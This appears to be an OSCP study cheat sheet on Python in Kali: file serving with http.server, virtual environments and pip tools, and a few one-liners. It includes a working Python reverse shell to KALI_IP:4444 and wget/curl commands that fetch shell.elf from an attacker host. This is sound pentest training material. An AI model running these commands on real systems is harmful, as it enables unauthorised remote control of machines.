Python — OSCP Quick Reference
Python is preinstalled on Kali. Most OSCP use: serve files to targets, spin up venvs for pip tools, and one-liner scripts on compromised Linux boxes.
Ctrl+F:
http.server·venv·python3·activate·8080
When: Transfer payloads → File Transfer · Install pip tools → Install Download and Run · Installation - Kali Setup
📌 1) HTTP file server (Kali → target download)
Python 3 (default on Kali)
python3 -m http.server 8080Serves files from the current directory at http://KALI_IP:8080/
Default port is 8000 if omitted:
python3 -m http.server # port 8000
python3 -m http.server 9000 # custom portPython 2 (legacy targets only)
python -m SimpleHTTPServer 8080Target download:
wget http://KALI_IP:8080/shell.elf -O /tmp/shell.elf
curl -O http://KALI_IP:8080/tool.exe→ File Transfer · Curl · wget
📌 2) Virtual environment (pip tools)
Use a venv when a tool needs pip install and you want isolation (or Kali blocks system-wide pip).
# one line
python3 -m venv venv && source venv/bin/activate
# Create
python3 -m venv myenv
# Activate — Linux / Kali
source myenv/bin/activate
# Activate — Windows CMD
myenv\Scripts\activate.bat
# Activate — Windows PowerShell
myenv\Scripts\Activate.ps1
# Install tool inside venv
pip install pypykatz certipy-ad bloodyAD
# Deactivate
deactivate
# Delete venv
rm -rf myenvOn Kali 2024+, system pip may be externally managed — use
pip install --break-system-packagesor a venv. See Installation - Kali Setup.
📌 3) Common OSCP one-liners
# Reverse shell (Linux target — verify target has python3)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("KALI_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Quick port check
python3 -c "import socket; s=socket.socket(); print(s.connect_ex(('TARGET',445)))"
# Base64 encode/decode
python3 -c "import base64; print(base64.b64encode(open('file','rb').read()).decode())"📌 Quick Cheat Sheet
python3 -m http.server 8080
python3 -m venv venv && source venv/bin/activate
pip install TOOL
deactivate